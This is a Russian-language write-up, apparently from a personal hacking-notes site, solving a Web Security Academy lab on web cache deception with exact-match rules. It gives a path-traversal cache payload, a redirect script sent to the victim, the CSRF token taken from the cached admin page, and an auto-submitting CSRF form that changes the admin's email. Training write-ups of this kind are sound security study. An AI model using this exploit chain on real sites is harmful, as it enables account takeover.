> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/web-cache-deception/web-cache-deception-with-exact-match-rules.md).

# Введение веб-кэша в заблуждение с правилами точного совпадения

### Эксплуатация правил кэша точного совпадения для обмана веб-кэша

#### Цель лабораторной работы

* Изменить адрес электронной почты пользователя **administrator**.
* Доступно подключение: **wiener:peter**.
* Предоставлен список разделителей: список разделителей лаборатории Web Cache Deception.

<figure><img src="/files/40f0795d116e6cf42d7ad52911eb19754a090804" alt=""><figcaption></figcaption></figure>

#### Наблюдаемый контекст

* Вкл. **Мой аккаунт**, есть поле для изменения электронной почты.
* Отправленный запрос выглядит так:

```bash
email=test%40test.com&csrf=Bfo2p16Es7RG8W0XBZxAJSuyJKOHbK0a
```

#### Тесты разделителей

<figure><img src="/files/61f3fdbb7a988a6adbce44f9ea56ef4e0933622f" alt=""><figcaption></figcaption></figure>

* При проверке символов из списка сайт принимает, в частности:
* the **точка с запятой** `;`
* the **вопросительный знак** `?`

Классические атаки в этой лаборатории не работают.

<figure><img src="/files/99c9087b8bbddb7703ab92c6090d63c2f0d6ed1e" alt=""><figcaption></figcaption></figure>

#### Обнаружение скрытого ресурса

* Из **Цель -> Карта сайта**, используйте **Обнаружить содержимое**.

<figure><img src="/files/5e2aee918a11a22c1d361717f6b902ae7e19674e" alt=""><figcaption></figcaption></figure>

* Один **файл robots.txt** появляется и \*\*кэшируется\*\*.

<figure><img src="/files/3c5928498f9864858ba709bfcf3a1ffa5ab144eb" alt=""><figcaption></figcaption></figure>

#### Получение из кэша через нормализацию (точный путь + обход)

Цель: заставить кэш сохранить ответ с чувствительными данными, сделав его похожим на скрытый ресурс.

Используемые приложения:

```bash
GET /my-account;/../robots.txt
# Закодированная версия
GET /my-account;%2f%2e%2e%2frobots.txt
```

<figure><img src="/files/d6fbd816d3ba835bcdfa51e50290ea43065c480c" alt=""><figcaption></figcaption></figure>

#### Эксплойт, отправленный жертве

{% code overflow="wrap" %}

```javascript
<script>
    document.location = "https://0a6200c003095773896516fd00d800d3.web-security-academy.net/my-account;%2f%2e%2e%2frobots.txt";
</script>
```

{% endcode %}

Результат:

* Возвращаемая страница соответствует **учетной записи администратора**.

<figure><img src="/files/1908dae56664247952a9c6b483355bfe503e32d2" alt=""><figcaption></figcaption></figure>

В ответе мы получаем **CSRF-токен** из формы изменения электронной почты, например:

```html
<input required type="email" name="email" value="">
<input required type="hidden" name="csrf" value="rP2JD7Ik9im0XQi3E4OLwR22dbk6gNr5">
<button class='button' type='submit'> Обновить адрес электронной почты </button>
```

#### Запланированный финальный этап

* Используйте этот токен, чтобы сгенерировать **PoC CSRF** чтобы отправить **POST** запрос на **Мой аккаунт** страницу изменения электронной почты и тем самым изменить **administrator** электронную почту.

<figure><img src="/files/cd6f85207aa522c4f01e42664ec2e64a1eff73ab" alt=""><figcaption></figcaption></figure>

```html
<html>
  <!-- PoC для CSRF - сгенерирован Burp Suite Professional -->
  <body>
    <form action="https://0a6200c003095773896516fd00d800d3.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacked&#64;test&#46;com" />
      <input type="hidden" name="csrf" value="rP2JD7Ik9im0XQi3E4OLwR22dbk6gNr5" />
      <input type="submit" value="Отправить запрос" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/web-cache-deception/web-cache-deception-with-exact-match-rules.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
